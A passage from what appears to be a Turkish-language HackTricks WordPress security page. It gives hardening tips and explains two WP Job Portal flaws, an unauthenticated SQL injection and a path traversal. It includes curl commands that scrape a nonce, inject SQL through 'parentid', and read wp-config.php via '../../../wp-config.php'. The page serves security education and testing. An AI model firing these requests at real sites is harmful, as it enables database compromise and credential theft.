'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` Ayrıca, **sadece güvenilir WordPress plugins and themes yükleyin**. ### Güvenlik Eklentileri - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Diğer Öneriler** - Varsayılan **admin** kullanıcısını kaldırın - Güçlü **şifreler** ve **2FA** kullanın - Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin** - **Giriş denemelerini sınırlayın** Brute Force saldırılarını önlemek için - **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin. ### Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2) WP Job Portal recruitment plugin, sonuçta **savecategory** görevini açığa çıkardı; bu görev en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki güvenli olmayan kodu çalıştırıyordu: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; if ($category) { $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ } $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` Issues introduced by this snippet: 1. **Temizlenmemiş kullanıcı girdisi** – `parentid` doğrudan HTTP isteğinden geliyor. 2. **WHERE cümlesinde string birleştirme** – `is_numeric()` / `esc_sql()` / prepared statement yok. 3. **Kimliksız erişilebilirlik** – işlem `admin-post.php` üzerinden çalıştırılıyor olmasına rağmen, yerdeki tek kontrol **CSRF nonce** (`wp_verify_nonce()`), bu nonce'u herhangi bir ziyaretçi `[wpjobportal_my_resumes]` shortcode'unu içeren bir açık sayfadan alabilir. #### İstismar 1. Taze bir nonce alın: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` 2. `parentid`'i kötüye kullanarak arbitrary SQL enjekte edin: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ -d '_wpnonce=' \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` Yanıt enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar. ### Kimliksız Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) Başka bir görev, **downloadcustomfile**, ziyaretçilere path traversal yoluyla diskteki **herhangi bir dosyayı** indirme izni veriyordu. Zayıf sink şu dosyada bulunur: `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` `$file_name` saldırgan tarafından kontrol ediliyor ve **girdi temizleme uygulanmadan** birleştiriliyor. Yine, tek engel **CSRF nonce** olup bu nonce özgeçmiş sayfasından alınabilir. #### İstismar ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ --data-urlencode '_wpnonce=' \ --data-urlencode 'upload_for=resume' \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials and auth keys. ## Referanslar - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) - [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) - [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) {{#include ../../banners/hacktricks-training.md}}